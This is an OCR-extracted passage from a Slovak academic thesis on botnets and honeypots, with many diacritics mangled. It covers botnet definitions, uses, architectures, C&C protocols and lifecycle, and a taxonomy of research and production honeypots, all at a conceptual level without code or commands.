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Abstrakt v Statnom jazyku

Této zadverecnd praca sa zaobera problémom Sirenia a detekcie botnetov. Ciel'om prace
je analyzovat’ vyuzitie honeypotov pri detekcii botnetov a porovnat’ aktudlne pristupy
k detekcii a analyze botnetov. V praci sme navrhli aimplementovali virtudlny
honeynet, ktory zaznamendava aktivitu botnetov pri ich $ireni. Zameriavame sa najmi
na komunikéciu pomocou protokolu telnet, ktory vyuzivaji botnety pri Sireni
Skodlivého koédu. Vyznam analyzy botnetov je v informacidch, ktoré veda
k dokonalejsim sposobom zabezpecenia zariadeni pristupnych na internete. V ramci
virtualneho honeynetu sa ndm podarilo zachytit' niekol’ko pripadov Sirenia botnetov
(napr. v poslednej dobe rozsireny botnet Mirai), Gito¢iacich na nas virtudlny honeynet.
Tieto pripady sme v praci analyzovali a na zaklade nich sme potvrdili spravnost’ nasej
implementécie. Potvrdili sme, Ze je dolezité sa tiez zamerat’ na zariadenia s réznou

architektiirou procesorov, pretoze skodlivy kod je zamerany na konkrétne platformy.

Kruacové slova: botnet, bot, honeypot, honeynet, bezpecnost’

Abstrakt v cudzom jazyku

This final thesis deals with the problem of spreading and detection of botnets. The aim
of this thesis is to analyse the use of honeypots for botnet detection and to compare
current approaches to botnet detection and analysis. We designed and implemented a
virtual honeynet that records the activity of botnets when they propagate. The focus is
mainly on telnet communication that uses botnets to propagate malicious code. The
importance of botnet analysis is for information that leads to a better way to secure
devices accessible on the internet. With virtual honeynet, we've been able to capture
several cases of botnet propagation (such as the recently expanded Mirai botnet)
attacking our virtual honeynet. These cases have been analysed and we have confirmed
the correctness of our implementation. We have confirmed that it is also important to
focus on devices with different processor architecture because malicious code is

targeted to specific platforms.

Keywords: botnet, bot, honeypot, honeynet, security
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Zoznam skratiek a znaciek

C&C
DDoS
DNS
FTP
GB
HTTP
ICMP
IDS
IoT
1P
IRC
MB
oS
pP2p

SSH
TCP

UDP

Command and control, riadenie a kontrola botnetu

Distributed Denial of Service, distribuované odopretie sluzby
Domain name service, syst¢ém doménovych mien

File Transfer Protocol, protokole prenosu stiborov

Gigabyte, gigabajt je jednotka kapacity

Hypertext transfer protocol, hypertextovy prenosovy protokol
Internet Control Message Protocol, informacny sietovy protokol
Intrusion Detection System, systém pre odhalenie prieniku
Internet of Things, internet veci

Internet Protocol, zdkladny protokol pracujici na sietovej vrstve
Internet relay chat, protokol pre textova komunikéaciu
Megabyte, megabajt je jednotka kapacity

Operating System, operacny systém

Peer to perr, arhitektira rovny s rovnym

Random Access Memory, operacna pamat’

Secure shell, zabezpeceny komunikacny protokol

Transmission Control Protocol, protokol riadenia prenosu, jeden zo zakladnych

sietovych protokolov

User Datagram Protocol, datagramovy protokol, nespolahlivy sietovy protokol




Uvod

S rozmachom informacnych technologii sa objavuju nové hrozby, voci ktorym je
potrebné sa branit. Mnozstvo nedostato¢ne zabezpecenych zariadeni je dnes pripojenych
k internetu. Z tychto zariadeni sa ¢im d’alej, tym viac stavaju roboti - boti, ktori mézu
konat’ nezdkonnu Cinnost’. Siete tychto botov — botnety predstavuju jeden z prikladov
novych kybernetickych hrozieb. Na to, aby sme sa vedeli tispesne branit’ proti botnetom,
je potrebné skimat’ ich spravanie, moznosti ich Sirenia a komunikécie.

Medzi néstroje, ktoré skimaju sposob uskutocnenia Utokov, moézeme zaradit
pasce na Gtoénikov — honeypoty. Ulohou honeypotu je naldkat’ Gto¢nika a zozbierat
vSetky udaje, ktoré su relevantné k analyze utokov a uto¢nikov. Honeypoty skumaju
pouzité ndstroje, motivaciu uto¢nikov, priebeh utokov ako aj iné aspekty suvisiace
s kybernetickymi hrozbami a titokmi, medzi ktoré mozeme zaradit’ aj botnety.

Ciel'om nasej prace je preskimat’ moznosti analyzy botnetov pomocou pasci na
uto¢nikov - honeypotov. S tymto cielom st uzko spété aktualne pristupy a néstroje
k analyze botnetov, ktorych porovnanie predstavuje druhy ciel’ tejto zaverecnej prace.
Nakoniec je cielom prace navrh a implementacia néstroja na detekciu a analyzu botnetov

pomocou honeypotov.

V praci sa zameriavame na botnety Siriace sa pomocou aplikaéného protokolu
telnet. V poslednom obdobi je mozné zaznamenat botnety, ktoré sa zva¢sujl o zariadenia
s nedostacujucim zabezpecenim, resp. so Standardnym nastavenim od vyrobcu. Medzi
tieto zariadenia mézeme zaradit’ rozne typy domacich smerovacov, IP kamery, digitalne
video rekordéry a iné. Ked'Ze tieto zariadenia vyuzivaji rozne architektury procesorov,

pri navrhu vlastného honeynetu zohl'adiiujeme aj tento aspekt.

Praca je rozdelend systematicky do Siestich kapitol. Prva kapitola je ivodom do
problematiky botov a botnetov. Zaobera sa zdkladnymi pojmami a aspektami suvisiacimi
sbotmi abotnetami. Rozoberd pouzitie botnetov, architektirami botnetov,

komunika¢nymi protokolmi a Zivotnym cyklom botnetov.

Druhd kapitola je venovana honeypotom a honeynetom. V tejto kapitole sa
zaoberame vyznamom honeypotov a ich rozdelenim podla kI'icovych vlastnosti. Taktiez
opisujeme zakladné prvky honeynetu, ktoré je potrebné zohladnovat pri navrhu

a implementdcii vlastné¢ho honeynetu.
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V tretej kapitole porovnavame aktudlne pristupy k detekcii botnetov. Jednym
z tychto pristupov su aj honeypoty. Venujeme sa ich vyuZitiu pri zbere Skodlivého kodu
a zaznamenani aktivity botnetu.

Stvrta kapitola rozobera navrh virtudlneho honeynetu, ktory shizi na zber idajov
o botnetoch a skodlivom kdde, pomocou ktorého sa §iria. Navrhli sme virtualny honeynet,
ktory pouZziva honeypoty s roznymi architekturami procesorov. Zranitel'nost'ou, ktorou sa
botnet dostane do nasho systému, je protokol telnet a najcastejSie pouzivané prihlasovacie
tidaje. Navrh virtudlneho honeynetu dopiiia popis jeho implementacie, ktorému sa
venujeme v piatej kapitole tejto zaverecnej prace. Rozoberame konkrétne nastroje, ktoré
sme vytvorili na zber idajov vo virtudlnom honeynete. V ramci kapitoly popisujeme
konkrétne kniZnice a néstroje, ktoré sme pri implementacii pouzili.

Posledna kapitola sa venuje poznatkom, ktoré sme ziskali z prevadzky nami
navrhnutého a implementovaného virtudlneho honeynetu. V ramci kapitoly popisujeme
dva zaznamenané utoky botnetov, ktoré zachytil nd$ virtudlny honeynet. Napokon

sucast’ou kapitoly je porovnanie nasSho virtudlneho honeynetu s podobnymi rieSeniami.

Stucast'ou prace su prilohy, ktorych obsahom su zdrojové kédy nastrojov, ktoré
sme implementovali a vystupy z nasho honeynetu, ktoré rozoberame v poslednej kapitole
tejto prace. Prilohu tejto prace tvori aj DVD médium, ktoré obsahuje implementované
nastroje virtudlneho honeynetu, virtudlne stroje (honeypoty), databazy so zozbieranymi

udajmi a manudl opisujuci instaldciu virtualneho honeynetu.
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1 Bot a botnet

1.1 Definicia bot-a a botnetu

Rozmach modernych technoldgii sposobil, Ze bezpe¢nostné hrozby sa rozsiruju aj
na zariadenia, ktoré predtym neboli zneuzivané, resp. Vyuzivané na vykonavanie aktivit
a ¢innosti uto¢nikov. V tomto pripade hovorime o zariadeniach ovladanych uto¢nikom,
tzv. botov.

Bot je pocitacovy systém alebo aplikacia, ktord mdze opakovane vykonavat rozne
ulohy [1]. Do urcitej miery vie vykonavat’ aktivity autondémne a moze byt riadeny na
dialku. Ak sa vel’ky pocet botov rozdeli na niekol’ko pocita¢ov a spoja sa dohromady skrz
internet, vytvoria siet’ nazyvanu botnet [1]. Botnet pozostadva z troch hlavnych prvkov
[1]:

* boti,
* riadiace ,,command and control“ servery (C&C) a

*  botmaster.

Bot je navrhnuty tak, aby infikoval zariadenie obete a stal sa si¢astou botnetu bez
toho, aby o tom obet’ vedela. Siet’ tychto botov - botnet je pod kontrolou uto¢nika,
nazyvan¢ho botmaster. Botmaster posiela prikazy vSetkym botom a riadi cely botnet
prostrednictvom internetu a riadiacich C&C serverov. Tieto prikazy su posielané
pomocou C&C komunikécie. Nie len samotné botneti sii nebezpecnou hrozbou pre
pocitacové siete a internet, ale aj ich infraStruktira, ktord sa vyuziva na dalSie typy

utokov.

1.2 Pouzitie botnetu

Botnety su vyuzivané pri mnozstve nelegitimnych cinnosti uUto¢nikov. Tieto
¢innosti sa daju rozdelit’ do dvoch hlavnych skupin [2]. V prvom pripade st ciel'om prave
infikované stroje, ktoré sa stavajii botmi. V druhom pripade su boti vyuzivani pri utoku
na d’alsi ciel'. Teda sa stdvaju obetou, ale aj sprostredkovatel'om ttoku. V nasledujicich
kapitolach sa budeme podrobnejSie venovat jednotlivym pripadom pouzitia botov
utocnikmi [3]:

* nevyziadana posta,
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e distribuované odopretie sluzby (DDoS),
* kradez udajov,

e distribuované ulozisko,

* prendjom botnetov,

* Sirenie Skodlivého program a

e adware a adsense.

1.2.1 Nevyziadana poSta (SPAM)

NevyZziadana posta (SPAM) je najCastejSie posieland pomocou botnetov.
Zamerom takychto emailov je napriklad reklama, phishing, alebo §irenie Skodlivého kodu
(malware). Botnet moze takto Sirit’ aj sam seba, pridanim svojho Skodlivého kédu do

prilohy, alebo pridanim URL adresy smerujtcej k nebezpecnej stranke.

1.2.2 Distribuované odopretie sluzby (DDoS)

Distribuované znemoZnenie pristupu ksietovej sluzbe je jednym
z najbeznejsich pripadov pouzitia botnetov. Zameriava sa na znepristupnenie sietového
prostriedku pre uzivatelov. Zvycajne je takato Cinnost’ realizované zaplavou (flooding)
paketov poslanych k obeti. Ide o HTTP, TCP SYN, UDP, alebo ICMP zéaplavy, ktoré
spdsobia to, Ze zariadenie na ktorom bezi nejaka sluzba nebude d’alej schopna reagovat’

na takéto mnozstvo poziadaviek, a teda ani na poziadavky obycajnych uzivatelov.

1.2.3 Kradez udajov

V pripade kradeze udajov sa vychadza z predpokladu, Ze uto¢nik ma plnu
kontrolu nad vykonavanymi operdciami botov. Z tohto dovodu nie je tazké ziskat
zakladné udaje od obete. Tiez je moznost ziskat’ udaje o kreditnych kartach, uzivateI'ské
mend a hesld, alebo iné udaje, ktoré sa na danom zariadeni nachadzaju, alebo nim
prechadzaju dalej (napr. vramci sietovej komunikécie). Aj ked’ st tieto udaje
zaSifrované, uto¢nik moze pouzit’ keylogger, teda program na odchytavanie aktivit obete.
Taktiez moze vyuzit’ informdcie ulozené¢ v HTTP cookies, ktoré sa pouzivaju pri webovej

komunikécii.
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1.2.4 Distribuované ilozisko

Ukladanie udajov je d’aldim spdsobom vyuzitia botnetu. Utoénik moze ukladat’
nelegdlny obsah mimo svoje zariadenie a zbavit’ sa evidencie o jeho podielani sa na iom.
NavySe ziskava efektivitu, redundanciu a dostupnost udajov, co si benefity
distribuovaného tloZiska. Nelegalnym obsahom mé6zu byt napriklad Skodlivé programy,

osobn¢ udaje, autorské diela, a podobne.

1.2.5 Prenajom botnetov

Prendjom botnetov sa stava lukrativnym obchodom. Castokrét itoénik vytvara
botnet za t¢elom neskor ho predat’, alebo prenajat’ na nelegalnu ¢innost’. V sucasnosti sa
da prenajat’ mensi botnet za niekol’ko desiatok eur za utok. Cena botnetu priamo umerne

narasta s jeho vypoctovou silou.

1.2.6 Sirenie §kodlivych programov

Dalsim vyuzitim botnetov je $irenie $kodlivého kodu k inym eSte nenakazenym
strojom. Takto dokaze botnet Uispesne zvicSovat’ svoju vypoctovu silu. Tento sposob je
vel'mi efektivny pri ziskavani novych botov. Taktiez je takto mozné $irit’ aj iny Skodlivy

kod, ktory sa pouzije na iny ucel (odchytavanie udajov, phishing a pod.).

1.2.7 Adware a Adsense

Adsense je pristup Uto¢nika, kedy si vytvori faloSna stranku, na ktor umiestni
platenti reklamu. Potom pomocou botnetu si nechd klikat’ na tato reklamu a spolocnost’
prevadzkujica tito reklamu mu za to zaplati. Je tu vSak ddlezité dodat’, Ze samotny kod
botov musi byt dostato¢ne sofistikovany, aby tuto aktivitu neodhalili. Adware funguje
tiez na zaklade zisku z reklamy, ale v tomto pripade si itocnik nechava platit’ za to, Ze

podstr¢i ni¢ netuSiacim obetiam reklamu. Na Sirenie tohto softvéru vyuziva prave botnety.
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1.3 Architektury botnetov

Pre lepSie pochopenie zakladnych principov a fungovania botnetov je potrebné sa
zaoberat’ aj roznymi architekturami botnetov. Botnety podla ich organizicie vieme

rozdelit’ na tri zdkladné modely [3].

1.3.1 Centralizovany model

Centralizovany model [3] je rovnaky ako klient-server architektira sietove;j
komunikacie. Tento model, ktory spociatku vyuzival IRC protokol (Internet Relay Chat),
je znazorneny na obrazku ¢.1. Hlavnou myslienkou bolo pripojenie bot klienta k IRC
serverom a kanalom, ktoré utocnik vopred vybral. Takto bot ¢akd, kym botmaster
(ato¢nik) posle prikaz, ktorému bot rozumie. Aby sa botnet vyhol jednoduchej detekcii
napriklad firewallom, nové centralizované botnety vyuzivaji HTTP protokol. Takto sa
stava ich detekcia tazSou, kedze HTTP komunikacia botov anormalna HTTP
komunikacia st ve'mi podobné. V tomto pripade sa boti periodicky dopytuju na webovy
server, aby ziskali novy prikaz. Takyto model je jednoduchy na implementéciu,
manazment a kontrolu, ale takto vznika izke miesto, na ktorom to méze vsetko padnut,
pretoze C&C server moze byt zruSeny. Ak st tieto servery detegované a znicené, vsetci
boti st zrazu neuZzito¢ni. Z tohto dovodu sa vyuzivaju niekol'ko uroviiové hierarchie

riadiacich serverov, o zabezpecuje zlozitejSiu detekciu aj zruSenie botnetu.

& .......... B

Botmaster

|-

Bot

C&C

|-

Bot

i B

Bot Bot

Obr. 1 Centralizovany model botnetu
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1.3.2 Distribuovany model

Distribuovany model [3] sa tieZ nickedy nazyva aj decentralizovana architektura.
Tento model bol vytvoreny, aby riesil problém s C&C servermi a s ich nedostatkom
v podobe centralneho riadiaceho prvku. Obrazok ¢€.2 znazoriiuje schému tohto modelu.
V tomto modeli sa vyuziva Struktira rovny srovnym (peer-to-peer), ktord je viacej
flexibilna. Myslienka je zaloZena na tom, Ze botmaster (uto¢nik) odosle prikaz jednému
alebo viacerym bot klientom a tie potom preposlu tento prikaz d’al§Sim botom. Kazdy bot
klient sa sprava aj ako klient aj ako server, takZe tieto botnety je ovela viac zlozitejSie
zru$it. Na druhu stranu je tento model tazSie manazovat a riadit’. Prikazy od Gto¢nika st
distribuované botmi, takZe nie je mozné spdtne preposlat’ status o prijati prikazu. Taktiez

je tazsi na implementaciu ako predosly model.

& .......... d:

Botmaster

Bot
Bot ! i
i E —_

Bot Bot

Bot

Obr. 2 Distribuovany model botnetu

1.3.3 Hybridny model

Hybridny model [3], ktory je zobrazeny na obrazku ¢. 3, je tazké detegovat
a hlavne zrusit’. Je to akymsi kompromisom medzi centralizovanym a decentralizovanym
modelom. VyuZziva vyhody oboch modelov aredukuje nedostatky, ktoré maju. Jeho
architektira sa deli na tri Casti. Prvou je botmaster, teda samotny tito¢nik. Druhou ¢ast’'ou
su socidlne webové stranky. Tret'ou ¢astou je skupina botov, kde niektoré sa chovaju aj
ako C&C servery aj ako bot klienti a iny zase ako jednoduchy bot klienti. Uto¢nik nahra
Skodlivy kod s prikazmi na socidlne stranky a C&C boti si ich skopiruju a rozdistribuujt

d’alej k bot klientom. Potom boti realizuji utok podl'a zadania Gto¢nika.
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C&C bot

C&C bot™\,

C&C bot
C&C bot C&C bot
Klientsky bot Klientsky bot Klientsky bot

Obr. 3 Hybridny model botnetu

1.4 Komunikac¢né protokoly

Rozli¢né botnety vyuzivaju rozne protokoly na komunikéaciu s C&C serverom.
Tento fakt sa stava vyzvou pri detekcii, prevencii a Studovani botnetov. Navyse je
trendom, Ze Gito¢nici pouzivaju bezné komunikacné protokoly a programy a snazia sa ich
manipulovat’ neo¢akdvanymi sposobmi, aby dosiahli svojho ciela. Takze nebezpecna
komunikacia méze byt Castokrat povaZzovanad za beznu, ateda nemusi byt odhalena
aktivita botnetu. AvSak Uto¢nici musia stidle upravovat ich komunikiciu, aby sa
zhodovala s beznou, ¢o normélne aplikacie robit’ nemusia. Takto mézu za sebou zanechat’

stopy, ktorych sa da pri odhalovani botnetov chytit’.

Takmer kazdy typ protokolu sa d4 pouzit' ako C&C komunikacny protokol.
Najbeznejsie st protokoly IRC, HTTP, DNS, P2P, ale v menSej miere sa pouzivaju aj
protokoly pre programy na posielanie sprav (Skype), resp. pre iné aplikacie [2].

1.4.1 IRC

Internet Relay Chat (IRC) bol jednym zprvych pouzivanych metéd na
komunikaciu botmastera (itocnika) s botnetom. IRC funguje nad klient-server modelom.
Boti sa registruju na server, ktory pod kontrolou uto¢nika a Cakaju na prikazy.
Jednoduchost’, flexibilita a dostupnost’ open-source IRC klientov a serverovych aplikacii

robia z tohto protokolu ideélne rieSenie pre uto¢nikov. Aj napriek tomu sa vSak trend
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pouzivanych protokolov postiva k inym protokolom ako IRC, pretoze tieto botnety sa
stavaju ¢im d’alej tym viac znamejSie a taktiez IRC komunikacia méze byt jednoducho
blokovana. Boti sa identifikuju pomocou IRC prezyvok na komunikacnych serveroch

IRC a vytvaraju tak za sebou stopu, ktora sa da vysledovat’.

142 HTTP

Hypertext Transfer Protocol (HTTP) je d’als$im komunika¢nym protokolom
pouzivanym botnetmi. Boti kontaktuji HTTP server a botmaster (Gto¢nik) odpovie
s prikazom na vykonanie. Takato komunikacia potom moze byt schovand medzi beznt
komunikaciu a nemusi vzbudzovat’ podozrenie. Novym trendom je aj zverejiiovanie
prikazov na vykonanie na verejne pristupnych a pouzivanych webovych strankach, ktoré
dovol'uju nahranie Skodlivého obsahu. Nésledne si boti skontroluju aktudlne prikazy od

C&C servera.

1.43 DNS

Domain Name System (DNS) mdze byt tieZ pouZity na prenos prikazov z C&C
servera. Utoénik tak moze docielit’ ukrytim prikazov do beznej DNS komunikacie. Bezny
DNS server, ktory sa riadi Specifikdciou, by nemal odhalit’ ni¢ podozrivé, pokial je
upraveny DNS server, ktory vie spracovat’ takéto spravy pod kontrolou uto¢nika. Této

technika je zndma pod nazvom DNS tunelovanie [4].

144 P2P

Niektoré botnety pouzivaju decentralizovani komunikaciu typu rovny s rovnym
(peer-to-peer, P2P) na Sirenie novych prikazov v rdmci botnetu. Jednotlivé protokoly sa
mozu liSit, pretoZze pouzivaju rdzne existujice implementacie P2P, ako napriklad

Napster, Gnutella, Overnet alebo pouzivaju vlastné P2P protokoly.

Aj ked’ vysSie spomenuté protokoly bezne nepouzivaju Sifrovanie, utoc¢nik tak
moze spravit pouzitim ich zabezpefenych variant ako napriklad HTTPS. IRC
komunikacia méze byt blokovana, av§ak HTTP a DNS komunikaciu nemdzeme tplne
odfiltrovat’, pretoze patria medzi najpouzivanejSie protokoly na internete a vacSina

legitimnej prevadzky sa uskutociiuje cez tieto siet'ové protokoly.
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1.5 Zivotny cyklus botnetov

Stadium Zivotného cyklu botnetov je délezitym prvkom pri detekcii a analyze
botnetov. Porozumenie tychto cyklov moze viest’ k vylepSovaniu efektivnych metdd

detekcie botnetov. Schéma Zivotného cyklu botnetu je znazornené na obrazku ¢. 4.

Botnet

E BQO! i Bgol Botmaster

Bot £
i Skodlivé prikazy
1. Prvotné nakazenie 2. Druhotné nakazenie Udrzba a aktualizicia

3. Spojeni
pojenie i

E | | 4. Skodlivé prikazy i !

; 5. Udrzba a aktualizacia
Obet > C&C server

Obr. 4 Zivotny cyklus botnetu

1.5.1 Prvotné nakazenie

Prvym krokom botnetu je prvotné nakazenie obete.[2] Jednoduché schéma tohto
nakazanie je zobrazena na obrazku €. 5. V tejto faze sa Gito¢nik pokusa nakazit’ zariadenie
obete pomocou roéznych zranitelnosti a takto ziskavat’ novych bot klientov. Prikladom
modze byt rozposielanie emailov s prilohou, ktora obsahuje nejaky Skodlivy koéd alebo
URL adresu na skodliva stranku. Taktiez moze byt skodlivy kéd zabaleny do volne
SiritePného programu, ktory si obet’ skopiruje. Dal§im spdsobom, ako sa utoénik dostane
do systému, si neopravené zranitelnosti. Tie vznikaju, ked’ uZzivatel neaplikuje
pravidelne aktualizacie operacného systému alebo iného softvéru, hned’ ako st dostupné.
Na rozdiel od skodlivého kddu, tu nie je potrebné, aby uzivatel’ spustil nejaky program.
Nakazenie a spustenie kodu prebicha automaticky. DalSou moznostou v tejto faze su
,»zadné dvierka*™ (backdoor). Ide o vyrobcom vytvoreny tajny pristup k zariadeniu alebo
pozostatok Skodlivej Cinnosti uto¢nika. To znamend zvysené riziko nakazenia d’alSim

$kodlivym programom. Poslednou technikou je testovanie hesiel. Uto¢nik pomocou
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automatického nastroja testuje prihlasovacie meno a heslo k sluzbam ako st telnet, SSH

alebo sluzby na zdiel'anie suborov.

Botmaster

Obr. 5 Prvotné nakazenie botnetom

1.5.2 Druhotné nakazenie

Druha faza zacina potom ako je zariadenie obete nakazené. V tejto faze sa
skopiruje samotny program bot klienta zo vzdialeného servera a automaticky sa
nainStaluje na toto zariadenie.[2] Po tomto kroku sa zariadenie obete meni na
plnohodnotného bota. Na skopirovanie Skodlivého koédu sa casto pouzivaji bezné
protokoly ako HTTP, FTP, alebo ré6zne P2P protokoly. Druha fdza Zivotného cyklu

botnetov je zobrazend na obrazku €. 6.

Botmaster

Obr. 6 Druhotné nakazenie botnetom
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1.5.3 Spojenie

Bez ohl'adu na to, ako sa ciel'ové zariadenie nakazilo Skodlivym kédom, musi sa
bot napokon pripojit’ k C&C serveru, aby sa registroval, alebo poslal nejaké informacie
o nakazenom stroji. TaktieZ mdze ziskat’ aktualizaciu od riadiaceho servera. Po tejto faze

sa stava bot plnohodnotnym ¢lenom botnetu.

1.5.4 Skodlivé prikazy

Po pripojeni k riadiacemu serveru, ¢akaji boti na prikazy odoslané uto¢nikom.
Akonéhle dostant prikaz, spustia ho a vykonaja Skodlivl aktivitu, teda nejaky typ utoku

vo¢i obetiam.

1.5.5 UdrZba a aktualizacia $kodlivého kodu

Poslednou fazou Zivotného cyklu botnetu je udrzba a aktualizicia Skodlivého
kédu. Udrzba je velmi délezitou fazou pre udrzanie aktivneho botnetu. Utoénik moze
mat’ mnoho dovodov vykonavat tito fazu. Moze aktualizovat’ Skodlivy kod, aby opravil
niektoré chyby, alebo vylepsit’ program botov, aby sa choval inteligentnejSie. Taktiez sa
modze vyhybat’ aktudlnym technikdm detekcie, napriklad pomocou zmeny sprévania sa

botov, alebo samotného charakteru botnetu.

21



2 Honeypot a honeynet

V tejto kapitole sa venujeme honeypotom, teda akymsi lakadlam pre ato¢nikov.
Popisujeme delenie honeypotov do réznych skupin. A rozoberame aj hlavné casti

honeynetov, teda sieti honeypotov.

2.1 Definicia honeypotu

Honeypot je podrobne monitorovany vypoctovy prostriedok, ktorého tloha je byt
napadany uto¢nikmi [5]. Inymi slovami, ide o systémovy prostriedok, ktorého najvicsia
hodnota spoc¢iva v neautorizovanom a neopravnenom pouziti [6]. Honeypotom mdze byt’
napriklad sluzba, aplikécia, systém alebo mnozina systémov a taktiez cast’ tdajov
a podobne. Délezitym predpokladom je, ze kazdy pokus o pouzitie tohto prostriedku, je
povazovany za podozrivy. Kazda aktivita vykonavana na honeypote je zaznamendvana
a neskor analyzovana. Honeypot by mal o najpresnejsie kopirovat’ produkéné prostredie
a takto vytvarat dojem nejakej hodnoty pre uto¢nika. Zatial ¢o klasické pristupy
k detekcii utokov, ako napriklad IDS (intrusion detection system), su zaloZené na znalosti
Specifickych vzorov utokov, a tym obmedzené na detekciu znamych utokov, honeypoty
predstavuju rozdielny pristup. Honeypoty su kompromitované utocnikmi za ucelom
odhalit’ metddy a nastroje pouzité na prienik do systému. Odhal’'uji zname ale aj nezname
zranitel'nosti. Honeypoty su vyuzivané na vyskum a objavovanie stratégii a postupov
autorov Skodlivého kodu a samotnych tto¢nikov. Vyhodou honeypotov je to, Ze sa
neocakavaju legitimni uzivatelia, a teda so zozbieranymi udajmi je mozné pracovat’ ako

s udajmi o aktivite a ¢innostiach uto¢nikov.
Vo vSeobecnosti existuju tri druhy informacii, ktoré honeypoty vedia zistit’ [7]:

* nové vektory ttokov - teda postupy a zranitel'nosti, pomocou ktorych sa
uto¢nik dostane do systému a

* Cinnosti vykonané na kompromitovanom systéme.

Bezpe€nostni vyskumnici nasadzuju honeypoty s cielom zberat informécie
o botnetoch, ako napriklad pévod C&C komunikécie, prislusnost’ jeho ¢lenov k botnetu,
alebo spravanie pri Gtoku. Po nakazeni mdze byt spravanie bota monitorované a pouzité
na ziskavanie informdcii o botnete. Napriklad pouzitim honeywallu na sledovanie
sietovej komunikacie, mdze byt identifikovana IP adresa C&C servera alebo doménové
meno. Navyse sledovanim vSetkej prichddzajucej aj odchadzajiicej komunikacie s botom,
je mozné identifikovat’ d’alSie nakazené stroje a odhadnut’ velkost’ botnetu alebo Studovat’
zivotny cyklus botnetu a podobne. Pridanou hodnotou honeypotov je to, ze dovoluju
spustenie Skodlivého koédu a dokdzu monitorovat’ jeho spravanie zo zndmeho

a kontrolovaného prostredia. Honeypoty maji byt navrhnuté tak, aby blokovali vetku
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odchadzajiicu nebezpednu komunikéaciu. Utoénici sa v§ak tomu brania modifikovanim
spravania bota, takze sa sprava odliSne, ked’ odhali, ze je v prostredi honeypotu.
Honeypoty hraji dolezita tlohu pri detekcii botnetov. St zdrojom informécii pre pasivne

monitorovacie techniky.

2.2 Delenie honeypotov

Pre jednoduchSiu orientaciu v mnozstve existujucich honeypotov si v tejto kapitole

popiSeme ich zakladné delenie. Honeypoty vieme rozdelit’ podl'a Styroch vlastnosti [6]:
* ucelu honeypotu,
* miery interakcie honeypotu s uto¢nikom,
* role alebo ulohy, ktort zastavajui a

* spdsobu nasadenie honeypotu.

2.2.1 Rozdelenie na zaklade ucelu

Produkéné honeypoty [6] st pouzivané na ochranu organizacii. Ciel'om tychto
honeypotov je pomoct’ znizit' bezpecnostné rizikd v organizacidch. Ked'ze odhaluju
zranitelnosti v systémoch a hldsenia vidi administrator, vyznamne prispievaju
k znizovaniu rizika prieniku tto¢nika do systému. Honeypoty st vhodnym doplnkom k
uz existujucej bezpe¢nostnej infrastruktire organizacie. Taktiez sa daju vyuzit pri
kontrole zavedenej bezpecnostnej politiky. Ich vyhodou je aj to, ze dokdzu rozpoznat
utok z vnutra systému. Nesmu sa vSak stat’ bezpecnostnou hrozbou pre organizaciu. Preto
je potrebné dbat’ na ich spravne nasadenie v systéme. Pri sprdvnom vybere honeypotov
dokédzu odhalit’ utok botnetu, alebo v€asne varovat’ pred Sirenim Skodlivého kodu. Pri
produkénych honeypotoch je bezpecnejsie sa drzat’ jednoduchsich implementacii, ktoré
nedovolia uto¢nikovi prili§ vela interakcie. DdlezZitejSie je v tomto pripade hlasenie
nezelanej ¢innosti, ako vyskum spravania sa uto¢nika. Prikladom takéhoto honeypotu je
aj Artillery [8]. Je to vol'ne dostupny nastroj, ktory funguje na principe blokovania IP
adries. Ak odhali neautorizovanu ¢innost, tak zablokuje IP adresu uto¢nika. Tymto

spdsobom dokaze blokovat’ Sirenie Skodlivého kodu.

Na druhej strane vyskumné honeypoty [6] vyZaduji naro¢nejsiu udrzbu, pretoze
poskytuju uto¢nikom viac volnosti pri ttoku. Predstavuju tak va¢siu hrozbu pre systém,
v ktorom st nasadené. Tradicné komercné organizécie nevyuzivaju tieto honeypoty, sk;r

su vyuzivané vyskumnymi organizdciami (napr. univerzitami), vladami, alebo réznymi
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bezpecnostnymi spolocnostami. Ich cielom je ziskat ¢o najviac informacii o Gtoku
a utocnikovi. Na zéklade tychto udajov sa potom vieme voci uUtokom branit.
Implementuji rézne zranitelnosti, aby naldkali Gto¢nika do systému a sleduju jeho
¢innost. St zdrojom velkého mnozZstva uzitoénych informdcii o Gtokoch. Kedze pri
tychto honeypotoch je utocnikovi povolené spdsobit’ v systéme vicsie Skody, dokazeme
sa dozvediet omnoho viac detailov o priebehu utoku. Mnoho z honeypotov, ktoré sa radia
do tejto skupiny, dovolia spustenie Skodlivych programov a nésledne sleduju, aku ¢innost’
vykonévaju. V pripade existencii botnetu existuje Sanca, ze takto odhalime riadiaci C&C
server. Uspesnym pripadom bolo napriklad odhalenie botnetu Chuck Norris pomocou
honeynetu [9]. Vyskumnych honeypotov je ovela vicSie mnozstvo ako produkénych.
Zaradit tu moézeme napriklad honeypot Sebek [10], Conpot [11], HonSSH [12]

a mnozstvo inych.

2.2.2 Rozdelenie podl’a ulohy

Prvym prikladom honeypotov podl'a ulohy, ktora plnia st serverové honeypoty
[6]. Su navrhnuté tak, aby pasivne vyckavali a nevytvarali ziadnu komunikaciu, az kym
nie su kompromitované. Takéto honeypoty su uzitocné pri odhalovani novych typov
titokov a analyze hrozieb. Casto su napadané automatizovanymi nastrojmi uto¢nikov a
napomahajti pri zbere Skodlivého koédu, ktory sa takto Siri. Prikladom su honeypoty
Kippo [13] a Dionaea [14]. Aj ked’ st oba tieto honeypoty zamerané na odliSné typy
utokov, ich spolo¢nou vlastnostou je prave zber skodlivého kodu. Pojem honeypot je
v mnohych pripadoch asociovany prave so serverovymi honeypotmi. V ramci detekcie
botnetov zbieraju serverové honeypoty rézny Skodlivy koéd. Prikladom je honeypot

Kippo, ktory zberéd vzorky Skodlivého kodu.

Naopak, klientske honeypoty [6] sa vyuzivaju na detekciu a zber informécii
o utokoch na strane klientov. Tieto Utoky sii mierené na zranitelnosti v klientskych
aplikaciach, ktoré komunikuju s nakazenym serverom alebo sluzbou. Ulohou tychto
honeypotov je ndjst’ a odhalit’ sluzby, ako st napriklad webové stranky a pomocou
ktorych je klient napadnuty. Zvycajne ide o zraniteInosti vo webovych prehliadacoch a
ich doplnkoch, ktoré utocnici zneuzivaju. KedZze webova komunikdcia pomocou
prehliadaca patri medzi najcastejSiu komunikdciu na internete, s tieto utoky velmi
roz$irené a popularne medzi uto¢nikmi. Klientske honeypoty sa nepouzivaju Casto pri
detekcii botnetov. Ich potencial moéze byt vyuzity pri hl'adani riadiacich C&C serveroch
alebo pri odhalovani Skodlivého kodu Siriaceho sa pomocou uz spominanych
zranitel'nostiach vo webovych prehliadac¢och. Prikladom je jednoduchy honeypot Thug

